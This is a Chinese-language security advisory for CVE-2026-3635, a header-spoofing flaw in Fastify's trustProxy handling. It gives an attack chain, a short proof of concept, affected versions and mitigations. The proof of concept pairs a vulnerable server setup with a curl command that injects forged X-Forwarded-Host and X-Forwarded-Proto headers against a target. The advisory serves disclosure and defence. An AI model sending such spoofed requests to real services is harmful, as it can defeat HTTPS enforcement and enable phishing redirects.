IPBUF安全漏洞报告
English
CVE-2026-3635 CVSS 6.1 中危

CVE-2026-3635 Fastify请求头欺骗漏洞

披露日期: 2026-03-23
来源: ce714d77-add3-4f53-aff5-83d477b104bb

漏洞信息

漏洞编号
CVE-2026-3635
漏洞类型
请求头欺骗
CVSS评分
6.1 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Fastify

相关标签

Fastify请求头欺骗Web安全SSRF配置错误

漏洞概述

Fastify在配置限制性trustProxy时存在漏洞,攻击者可绕过代理直接发送请求,通过伪造X-Forwarded-Proto和X-Forwarded-Host头部,欺骗应用获取错误的协议和主机信息,影响HTTPS强制执行和安全检查等逻辑。

技术细节

该漏洞源于Fastify框架内部处理代理头部时的逻辑缺陷。当开发人员将`trustProxy`配置为限制性函数(例如仅信任特定IP或子网)时,预期行为是仅接受来自这些可信源的`X-Forwarded-*`头部。然而,在受影响版本中,`request.protocol`和`request.host`这两个getter方法的实现存在疏忽,它们在读取`X-Forwarded-Proto`和`X-Forwarded-Host`头部时,并未严格比对当前连接的IP是否在信任列表中。这允许攻击者绕过前端的反向代理,直接向后端Fastify服务发起请求,并手动注入恶意的头部信息。由于应用程序依赖这些被欺骗的值进行安全决策,如强制HTTPS跳转、设置Secure Cookie属性或生成重定向URL,攻击者可利用此缺陷绕过安全限制,实施钓鱼攻击或窃取凭证。

攻击链分析

STEP 1
侦察
攻击者识别目标应用使用Fastify框架,并探测其是否配置了trustProxy。
STEP 2
绕过代理
攻击者直接连接到Fastify应用服务器,绕过前端的反向代理层。
STEP 3
头部注入
攻击者在直接发送的HTTP请求中注入恶意的`X-Forwarded-Host`和`X-Forwarded-Proto`头部。
STEP 4
欺骗应用
由于漏洞,Fastify错误地信任了这些头部,导致`request.host`和`request.protocol`返回攻击者控制的值。
STEP 5
利用后果
应用程序基于被欺骗的主机和协议执行逻辑,导致CSRF防护失效、安全Cookie丢失或恶意重定向。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Vulnerable Fastify Server Configuration const fastify = require('fastify')({ logger: true }); // Configure trustProxy to trust only a specific subnet (Restrictive) // In a real scenario, this is intended to trust only the reverse proxy fastify.register(require('@fastify/helmet')); const server = fastify({ trustProxy: (ip) => ip === '10.0.0.1' // Restrictive trust function }); server.get('/', async (request, reply) => { // Vulnerable getters: read headers even from untrusted IPs const protocol = request.protocol; const host = request.host; // Security decision based on spoofed headers if (protocol !== 'https') { return { error: 'HTTPS required', detectedHost: host }; } return { message: 'Success', host: host, protocol: protocol }; }); const start = async () => { try { await server.listen({ port: 3000, host: '0.0.0.0' }); } catch (err) { server.log.error(err); process.exit(1); } }; start(); /* * Attack Scenario (Run from attacker machine): * Direct connection to Fastify, bypassing the trusted proxy. * Command: * curl -H "X-Forwarded-Host: evil.com" -H "X-Forwarded-Proto: https" http://<target-ip>:3000/ * * Result: * The server will treat the request as coming from 'evil.com' via HTTPS, * potentially bypassing security checks or redirecting to malicious URLs. */

影响范围

fastify <= 5.8.2

防御指南

临时缓解措施
在未升级版本前,应在反向代理层(如Nginx或AWS ALB)强制清理`X-Forwarded-Host`和`X-Forwarded-Proto`头部,确保只有经过认证的代理才能添加这些头部。同时,开发者应避免完全依赖`request.host`或`request.protocol`进行安全控制,建议在应用代码中增加额外的Host白名单校验机制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表